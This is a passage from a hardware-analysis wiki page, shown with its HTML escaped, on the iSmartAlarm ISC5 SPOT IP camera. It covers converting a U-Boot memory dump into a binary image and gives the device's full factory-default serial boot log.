00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;!--&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Example: ISmartAlarm® ISC5 SPOT IP-Camera - Memory Dump Extract&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;sonix # md.b 0x0 0xFFFFFF&lt;br /&gt;
00000000: 0e 00 00 ea 80 6b d9 03 c4 6b d9 03 94 6b d9 03    .....k...k...k..&lt;br /&gt;
00000010: c8 6b d9 03 fc 5b d8 03 14 f0 9f e5 14 f0 9f e5    .k...[..........&lt;br /&gt;
00000020: 04 04 00 00 00 00 00 00 14 04 00 00 24 04 00 00    ............$...&lt;br /&gt;
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00    ................&lt;br /&gt;
00000040: 00 00 0f e1 1f 00 c0 e3 d3 00 80 e3 00 f0 2f e1    ............../.&lt;br /&gt;
&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: Check that the log does not any additional non-printable characters&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
With this format, each line consits of 78 characters including the newline. This results in 78 Bytes transmitted, which effectivly represent only 16 Byte of Data, leading to an 80% overhead. It is obvious, that the the memory dump format is not usuable as is. The dump must be parse to get the original binary dump. For this [&lt;br /&gt;
https://github.com/gmbnomis/uboot-mdb-dump uboot-mdb-dump] script can be used.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;Bash&amp;quot;&amp;gt;python3 uboot_mdb_to_image.py &amp;lt; memory_dump.txt &amp;gt; memory_dump.bin&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h5&amp;gt;Bootlog (Factory Default)&amp;lt;/h5&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;iSC5&amp;lt;/b&amp;gt;: Spot - Smart Home Security Camera&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-size: 12px !important&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;U-Boot 2011.09 (May 22 2015 - 16:07:40)&lt;br /&gt;
&lt;br /&gt;
DRAM:  64 MiB&lt;br /&gt;
MMC:   SD Card not detect&lt;br /&gt;
mmci_host_init error - -1&lt;br /&gt;
&lt;br /&gt;
SPI FLASH: 16 MB&lt;br /&gt;
In:    serial&lt;br /&gt;
Out:   serial&lt;br /&gt;
Err:   serial&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
GPIO[2] is high&lt;br /&gt;
Hit any key to stop autoboot:  0 &lt;br /&gt;
roofsr size = 0x63b070&lt;br /&gt;
## Booting kernel from Legacy Image at 00008000 ...&lt;br /&gt;
   Image Name:   Linux-2.6.35.12&lt;br /&gt;
   Image Type:   ARM Linux Kernel Image (uncompressed)&lt;br /&gt;
   Data Size:    2947968 Bytes = 2.8 MiB&lt;br /&gt;
   Load Address: 00008000&lt;br /&gt;
   Entry Point:  00008040&lt;br /&gt;
   Verifying Checksum ... OK&lt;br /&gt;
   XIP Kernel Image ... OK&lt;br /&gt;
OK&lt;br /&gt;
&lt;br /&gt;
Starting kernel ...&lt;br /&gt;
&lt;br /&gt;
Uncompressing Linux... done, booting the kernel.&lt;br /&gt;
Linux version 2.6.35.12 (fedora@localhost.localdomain) (gcc version 4.5.2 (SONiX GCC-4.5.2 Release 2011-12-06) ) #4 Tue Feb 14 21:56:47 PST 2017&lt;br /&gt;
CPU: ARM926EJ-S [41069265] revision 5 (ARMv5TEJ), cr=00057177&lt;br /&gt;
CPU: VIVT data cache, VIVT instruction cache&lt;br /&gt;
Machine: SONiX SN98600 Development Platform&lt;br /&gt;
Memory policy: ECC disabled, Data cache writeback&lt;br /&gt;
CPU: found ITCM 16k @ ffff4000, enabled&lt;br /&gt;
Built 1 zonelists in Zone order, mobility grouping on.  Total pages: 16256&lt;br /&gt;
Kernel command line: console=ttyS0,115200 root=/dev/mtdblock2 init=/linuxrc mem=64M isp=7M vc=12M vo=0M mtdparts=snx-spi:768k(uboot),3M(kernel),7M(rootfs),4M(rescue),1M(etc),256K(userconfig)&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Memory: 64MB = 64MB total&lt;br /&gt;
Memory: 40116k/40116k available, 25420k reserved, 0K highmem&lt;br /&gt;
Virtual kernel memory layout:&lt;br /&gt;
    vector  : 0xffff0000 - 0xffff1000   (   4 kB)&lt;br /&gt;
    fixmap  : 0xfff00000 - 0xfffe0000   ( 896 kB)&lt;br /&gt;
    DMA     : 0xffa00000 - 0xffe00000   (   4 MB)&lt;br /&gt;
    vmalloc : 0xc4800000 - 0xe0000000   ( 440 MB)&lt;br /&gt;
    lowmem  : 0xc0000000 - 0xc4000000   (  64 MB)&lt;br /&gt;
    modules : 0xbf000000 - 0xc0000000   (  16 MB)&lt;br /&gt;
      .init : 0xc0008000 - 0xc0024000   ( 112 kB)&lt;br /&gt;
      .text : 0xc0024000 - 0xc04be000   (4712 kB)&lt;br /&gt;
      .data : 0xc04dc000 - 0xc0505a80   ( 167 kB)&lt;br /&gt;
SLUB: Genslabs=11, HWalign=32, Order=0-3, MinObjects=0, CPUs=1, Nodes=1&lt;br /&gt;
Hierarchical RCU implementation.&lt;br /&gt;
	RCU-based detection of stalled CPUs is disabled.&lt;br /&gt;
	Verbose stalled-CPUs detection is disabled.&lt;br /&gt;
NR_IRQS:96&lt;br /&gt;
Console: colour dummy device 80x30&lt;br /&gt;
console [ttyS0] enabled&lt;br /&gt;
Calibrating delay loop... 179.40 BogoMIPS (lpj=897024)&lt;br /&gt;
pid_max: default: 32768 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
CPU: Testing write buffer coherency: ok&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
0x00700000 bytes system memory reserved for isp device at 0x005b9000&lt;br /&gt;
0x00c00000 bytes system memory reserved for vc device at 0x00cb9000&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
Linux media interface: v0.10&lt;br /&gt;
Linux video capture interface: v2.00&lt;br /&gt;
Advanced Linux Sound Architecture Driver Version 1.0.23.&lt;br /&gt;
cfg80211: Calling CRDA to update world regulatory domain&lt;br /&gt;
Switching to clocksource ft_clocksource&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
UDP hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
UDP-Lite hash table entries: 256 (order: 0, 4096 bytes)&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RPC: Registered udp transport module.&lt;br /&gt;
RPC: Registered tcp transport module.&lt;br /&gt;
RPC: Registered tcp NFSv4.1 backchannel transport module.&lt;br /&gt;
exFAT: Version 1.2.9&lt;br /&gt;
JFFS2 version 2.2. (NAND) © 2001-2006 Red Hat, Inc.&lt;br /&gt;
fuse init (API version 7.14)&lt;br /&gt;
msgmni has been set to 78&lt;br /&gt;
async_tx: api initialized (async)&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
SONIX UART driver, (c) 2013 Sonix&lt;br /&gt;
snx_uart.0: ttyS0 at MMIO 0x98a00000 (irq = 8) is a SONiX&lt;br /&gt;
snx_uart.1: ttyS1 at MMIO 0x98b00000 (irq = 10) is a SONiX&lt;br /&gt;
brd: module loaded&lt;br /&gt;
loop: module loaded&lt;br /&gt;
6 cmdlinepart partitions found on MTD device snx-spi&lt;br /&gt;
Creating 6 MTD partitions on &amp;quot;snx-spi&amp;quot;:&lt;br /&gt;
0x000000000000-0x0000000c0000 : &amp;quot;uboot&amp;quot;&lt;br /&gt;
0x0000000c0000-0x0000003c0000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x0000003c0000-0x000000ac0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
0x000000ac0000-0x000000ec0000 : &amp;quot;rescue&amp;quot;&lt;br /&gt;
0x000000ec0000-0x000000fc0000 : &amp;quot;etc&amp;quot;&lt;br /&gt;
0x000000fc0000-0x000001000000 : &amp;quot;userconfig&amp;quot;&lt;br /&gt;
snx_spi_init register&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP Deflate Compression module registered&lt;br /&gt;
PPP BSD Compression module registered&lt;br /&gt;
SONiX Ethernet driver, (c) 2013 Sonix&lt;br /&gt;
eth0: Dropping NETIF_F_SG since no checksum feature.&lt;br /&gt;
snx_mac: SNX Ethernet MAC controller at 0x90500000 (irq = 17) 00:b0:27:08:90:14.&lt;br /&gt;
10 Mbps HalfDuplex (Auto Negotiation)&lt;br /&gt;
usbcore: registered new interface driver catc&lt;br /&gt;
catc: v2.8:CATC EL1210A NetMate USB Ethernet driver&lt;br /&gt;
usbcore: registered new interface driver r8152&lt;br /&gt;
usbcore: registered new interface driver zd1211rw&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
snx_ehci snx_ehci.0: snx_ehci&lt;br /&gt;
snx_ehci snx_ehci.0: new USB bus registered, assigned bus number 1&lt;br /&gt;
snx_ehci snx_ehci.0: irq 24, io mem 0x90800000&lt;br /&gt;
snx_ehci snx_ehci.0: USB 0.0 started, EHCI 0.96&lt;br /&gt;
usb usb1: New USB device found, idVendor=1d6b, idProduct=0002&lt;br /&gt;
usb usb1: New USB device strings: Mfr=3, Product=2, SerialNumber=1&lt;br /&gt;
usb usb1: Product: snx_ehci&lt;br /&gt;
usb usb1: Manufacturer: Linux 2.6.35.12 ehci_hcd&lt;br /&gt;
usb usb1: SerialNumber: sonix-ehci&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
usbcore: registered new interface driver usbserial&lt;br /&gt;
USB Serial support registered for generic&lt;br /&gt;
usbcore: registered new interface driver usbserial_generic&lt;br /&gt;
usbserial: USB Serial Driver core&lt;br /&gt;
USB Serial support registered for GSM modem (1-port)&lt;br /&gt;
usbcore: registered new interface driver option&lt;br /&gt;
option: v0.7.2:USB Driver for GSM modems&lt;br /&gt;
USB Serial support registered for pl2303&lt;br /&gt;
usbcore: registered new interface driver pl2303&lt;br /&gt;
pl2303: Prolific PL2303 USB to serial adaptor driver&lt;br /&gt;
mice: PS/2 mouse device common for all mice&lt;br /&gt;
i2c /dev entries driver&lt;br /&gt;
SONIX SNX I2C adapter driver, (c) 2012 Sonix&lt;br /&gt;
snx_i2c.0: SNX I2C0 controller at 0x98300000 (irq = 1)&lt;br /&gt;
snx_i2c.1: SNX I2C1 controller at 0x98400000 (irq = 2)&lt;br /&gt;
snx_hdma snx_hdma: SNX AHB DMA Controller (memcpy memset), 4 channels&lt;br /&gt;
SNX AHB DMA driver register&lt;br /&gt;
usbcore: registered new interface driver hiddev&lt;br /&gt;
usbcore: registered new interface driver usbhid&lt;br /&gt;
usbhid: USB HID core driver&lt;br /&gt;
usbcore: registered new interface driver snd-usb-audio&lt;br /&gt;
ALSA device list:&lt;br /&gt;
  No soundcards found.&lt;br /&gt;
IPv4 over IPv4 tunneling driver&lt;br /&gt;
GRE over IPv4 tunneling driver&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
lo: Disabled Privacy Extensions&lt;br /&gt;
tunl0: Disabled Privacy Extensions&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
sit0: Disabled Privacy Extensions&lt;br /&gt;
ip6tnl0: Disabled Privacy Extensions&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
lib80211: common routines for IEEE802.11 drivers&lt;br /&gt;
i2c_gpio i2c_gpio.2: using pins 16 (SDA) and 15 (SCL, no clock stretching)&lt;br /&gt;
VFS: Mounted root (cramfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing init memory: 112K&lt;br /&gt;
hub 1-0:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 1 chg 0002 evt 0000&lt;br /&gt;
hub 1-0:1.0: port 1, status 0501, change 0000, 480 Mb/s&lt;br /&gt;
Create device file&lt;br /&gt;
usb 1-1: new high speed USB device using snx_ehci and address 2&lt;br /&gt;
usb 1-1: New USB device found, idVendor=04b4, idProduct=6570&lt;br /&gt;
usb 1-1: New USB device strings: Mfr=0, Product=1, SerialNumber=0&lt;br /&gt;
usb 1-1: Product: USB2.0 Hub&lt;br /&gt;
hub 1-1:1.0: USB hub found&lt;br /&gt;
hub 1-1:1.0: 4 ports detected&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0004 evt 0000&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0000, 12 Mb/s&lt;br /&gt;
snx_crypto driver loaded.&lt;br /&gt;
sonix crypto diver register&lt;br /&gt;
sonix_nvram_init&lt;br /&gt;
Init nvram id: 1303281516&lt;br /&gt;
Init nvram_crc id: 0x6848&lt;br /&gt;
nvram_check crc = 6848 crc_ref = 6848&lt;br /&gt;
SONIX Kernel NVRAM initialized&lt;br /&gt;
&lt;br /&gt;
starting pid 516, tty &#039;&#039;: &#039;/usr/bin/pars_diff 10&#039;&lt;br /&gt;
remove only in etc size = 10 &lt;br /&gt;
2&lt;br /&gt;
1&lt;br /&gt;
run mode = 0,0&lt;br /&gt;
run in normal boot&lt;br /&gt;
VERSIZE = 64&lt;br /&gt;
 --- mtd status-&lt;br /&gt;
mtdblock2&lt;br /&gt;
now is run on _FWORI&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 3&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=bd1e&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: Remote Download Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 000000000001&lt;br /&gt;
6144+0 records in&lt;br /&gt;
6144+0 records out&lt;br /&gt;
3145728 bytes (3.0MB) copied, 1.663769 seconds, 1.8MB/s&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
kernel_size = 2cfbc0&lt;br /&gt;
/tmp/now_version&lt;br /&gt;
diff: can&#039;t stat &#039;/etc/SNIP39/SNIP39_VERSION.conf&#039;: No such file or directory&lt;br /&gt;
xxxxxx-No Need todo ETC Update-xxxxxx&lt;br /&gt;
&lt;br /&gt;
starting pid 534, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
Load drivers...&lt;br /&gt;
Sonix GPIO Driver&lt;br /&gt;
Load video drivers...&lt;br /&gt;
Load audio drivers...&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
snx_sd_initial:1011: SD initialisation done.&lt;br /&gt;
version: 0.2&lt;br /&gt;
argv=-n&lt;br /&gt;
nvfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
argv=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
fwfn=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
argv=-C&lt;br /&gt;
cnt=10&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
claiming interface 0&lt;br /&gt;
Found device: vend=0xa5c prod=0xbd1e&lt;br /&gt;
ID : Chip 0xa887 Rev 0x2 RamSize 458752 RemapBase 0x60000000 BoSNX_AUDIO: driver register.&lt;br /&gt;
ardType 0 BoardRev 0&lt;br /&gt;
Final fw_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/cooee.bin.trx&lt;br /&gt;
Final nv_path=/usr/share/WUBB-738GN_4.2/Wi-Fi/nvram_wubb-743gn.nvm&lt;br /&gt;
soc-camera-pdrv soc-camera-pdrv.0: Probing soc-camera-pdrv.0&lt;br /&gt;
SNX_SIGMA: adc submod driver init ok.&lt;br /&gt;
ar0330 stop streaming&lt;br /&gt;
ar0130 0-0030: ar0130 Product ID 2402&lt;br /&gt;
SNX_R2R: dac submod driver init ok.&lt;br /&gt;
File Length: 370020&lt;br /&gt;
start&lt;br /&gt;
ar0130 start streaming&lt;br /&gt;
rdl.state 0x4&lt;br /&gt;
elapsed download time 0.355542&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbd1e&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=0&lt;br /&gt;
&lt;br /&gt;
get max fps from IQ.bin is 0, set max fps to 30firmware: IQ.bin OK!&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
hub 1-1:1.0: port 2, status 0101, change 0001, 12 Mb/s&lt;br /&gt;
usb 1-1.2: USB disconnect, address 3&lt;br /&gt;
snx_isp snx_isp.0: ISP Camera driver loaded&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video1&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
snx_vc snx_vc: sonix_vc device registered as /dev/video2&lt;br /&gt;
usb 1-1.2: new high speed USB device using snx_ehci and address 4&lt;br /&gt;
usb 1-1.2: New USB device found, idVendor=0a5c, idProduct=0bdc&lt;br /&gt;
usb 1-1.2: New USB device strings: Mfr=1, Product=2, SerialNumber=3&lt;br /&gt;
usb 1-1.2: Product: BCMUSB 802.11 Wireless Adapter&lt;br /&gt;
usb 1-1.2: Manufacturer: Broadcom&lt;br /&gt;
usb 1-1.2: SerialNumber: 18776&lt;br /&gt;
hub 1-1:1.0: /run/media/fedora/software/snx_sdk/kernel/linux-2.6.35.12/src/drivers/usb/core/hub.c 3347: state 7 ports 4 chg 0000 evt 0004&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
No devices found&lt;br /&gt;
Error: usbdev_find ... cnt=1&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
libusb-compat error: usb_find_devices: couldn&#039;t initialize device 1.1 (error -5)&lt;br /&gt;
Vendor 0x4b4 ID 0x6570&lt;br /&gt;
Vendor 0xa5c ID 0xbdc&lt;br /&gt;
dhd_module_init: Enter&lt;br /&gt;
high speed device detected&lt;br /&gt;
dhd_attach(): thread:dhd_sysioc:250 started&lt;br /&gt;
Broadcom Dongle Host Driver: register interface [wlan0] MAC: 00:90:4c:11:22:33&lt;br /&gt;
dbus_usb_resetcfg: download done 200 ms postboot chip 0xa123/rev 0x1&lt;br /&gt;
DBUS: vid=0xa5c pid=0xbdc devid=0x4322 bustype=0x0 mtu=512&lt;br /&gt;
usbcore: registered new interface driver dbus_usbdev&lt;br /&gt;
&lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
dhd_module_init: Exit err=0&lt;br /&gt;
Set hostname ...&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
right_count=2  value=1 last_value=1&lt;br /&gt;
not in singleboard test&lt;br /&gt;
&lt;br /&gt;
starting pid 603, tty &#039;/dev/ttyS0&#039;: &#039;/sbin/getty -L ttyS0 115200 vt100&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
iSmartAlarm login: hello Guozhixin OKOKOKOKOKOKOKOKOK&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
msg_queue_remove_by_key_a: No such file or directory&lt;br /&gt;
logserver version: 1.2&lt;br /&gt;
item = 0&lt;br /&gt;
item = Device_State get &lt;br /&gt;
INIT App INFO XXXXXXXXXXXXXXXXXXXXXXXXXX&lt;br /&gt;
uuuuuuuuuuuuuuuuuuuuu000&lt;br /&gt;
sonix test!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!&lt;br /&gt;
serialport_open success&lt;br /&gt;
serialport_open: success&lt;br /&gt;
___________________________________Donot Copy IQ.bin________________________________&lt;br /&gt;
************************************************************************************&lt;br /&gt;
Cam_camera_version ret ..............= 0, MX238&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&amp;amp;&lt;br /&gt;
************************************************************************************&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
20743344&lt;br /&gt;
++++++++++++++++++++++++++++++14&lt;br /&gt;
i2c read 25 time&lt;br /&gt;
ret = -1, 0, 0, 0, 0&lt;br /&gt;
usb_find_busses ret=2&lt;br /&gt;
libusb:error [op_get_config_descriptor] open &#039;/dev/bus/usb/001/001&#039; failed, ret=-1 errno=2&lt;br /&gt;
usb_find_devices ret=2&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[0] Wifi_Mode = D&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = 111111111111111111&lt;br /&gt;
g_stConfigTable[1] Wifi_Active = y&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[2] Wifi_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[3] Wifi_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[4] Wifi_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[5] Wifi_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 111111111111111111&lt;br /&gt;
g_stConfigTable[6] Wired_IP = 192.168.1.68&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = 111111111111111111&lt;br /&gt;
g_stConfigTable[7] Wired_Mode = D&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 111111111111111111&lt;br /&gt;
g_stConfigTable[8] Wired_Subnet = 255.255.255.0&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 111111111111111111&lt;br /&gt;
g_stConfigTable[9] Wired_Gateway = 192.168.1.1&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 111111111111111111&lt;br /&gt;
g_stConfigTable[10] Wired_DNS = 192.168.1.1&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = 111111111111111111&lt;br /&gt;
g_stConfigTable[11] Alarm_Motion_Switch = n&lt;br /&gt;
g_stConfigTable[12] Aladhd_open: Enter c3fa5c00&lt;br /&gt;
rm_Motion_Sensitivity = &lt;br /&gt;
Dongle Host Driver, version 1.88.56.3.2 (r)&lt;br /&gt;
Compiled in drivers/net/wireless/bcmdhd on Jul  4 2017 at 06:00:10&lt;br /&gt;
111111111111111111&lt;br /&gt;
g_stCdhd_dbus_state_change: DBUS current state=2&lt;br /&gt;
onfigTable[12] Alarm_Motion_Sensitivity = 5&lt;br /&gt;
g_stConfigTable[13] Alarm_MFirmware up: op_mode=0x0001, Broadcom Dongle Host Driver mac=e0:76:d0:3c:49:58&lt;br /&gt;
otion_Region = 111111111111111111&lt;br /&gt;
g_stConfigTable[13] Alarm_Motion_Region = 0,0;0,0&lt;br /&gt;
g_stConfigTpktpool_init, len = 1.&lt;br /&gt;
able[14] Alarm_Audio_Swi000000.001 &lt;br /&gt;
tch = 111111111111111111RTE (USB-SDIO-CDC) 6.10.198.52_r33 (r1961) on BCM43143 r2 @ 20.0/97.0/97.0MHz&lt;br /&gt;
&lt;br /&gt;
g_stConfigTable[14] Al000000.002 ei 1, ebi 2, ebo 1&lt;br /&gt;
arm_Audio_Switch = n&lt;br /&gt;
g_000000.006 reclaim section 0: Returned 40511 bytes to the heap&lt;br /&gt;
stConfigTable[15] Alarm_000000.016 wlc_lcn40phy_txpwr_srom_read, set edon edoff for ce &lt;br /&gt;
Audio_Sensitivity = 1111000000.023 get nothing from nv set txbcn timeout 3&lt;br /&gt;
11111111111111&lt;br /&gt;
g_stConf000000.025 wl0: Broadcom BCM43143 802.11 Wireless Controller 6.10.198.52_r33 (r1961)&lt;br /&gt;
igTable[15] Alarm_Audio_000000.047 TCAM: 256 used: 31 exceed:0&lt;br /&gt;
Sensitivity = 5&lt;br /&gt;
g_stCon000000.048 reclaim section 1: Returned 55844 bytes to the heap&lt;br /&gt;
figTable[16] Alarm_Audio000000.048 pktpool_fill, psize = 9, len = 1,&lt;br /&gt;
_SmokeYXMOD = 1111111111000000.048 pktpool_add, p = 0004f418,&lt;br /&gt;
11111111&lt;br /&gt;
g_stConfigTabl000000.049 pktpool_add, p = 0004ec90,&lt;br /&gt;
e[16] Alarm_Audio_SmokeY000000.049 pktpool_add, p = 0004e508,&lt;br /&gt;
XMOD = 200&lt;br /&gt;
g_stConfigTa000000.049 pktpool_add, p = 0004dd80,&lt;br /&gt;
ble[17] Alarm_pir_Switch000000.049 pktpool_add, p = 0004d5f8,&lt;br /&gt;
 = 111111111111111111&lt;br /&gt;
g000000.049 pktpool_add, p = 0004ce70,&lt;br /&gt;
_stConfigTable[17] Alarm000000.049 pktpool_add, p = 0004c6e8,&lt;br /&gt;
_pir_Switch = n&lt;br /&gt;
g_stCon000000.049 pktpool_add, p = 0004bf60,&lt;br /&gt;
figTable[18] Light_Net = 111111111111111111&lt;br /&gt;
g_stConfigTable[18] Light_Net = y&lt;br /&gt;
g_stConfigTable[19] Light_Night = 111111111111111111&lt;br /&gt;
g_stConfigTable[19] Light_Night = y&lt;br /&gt;
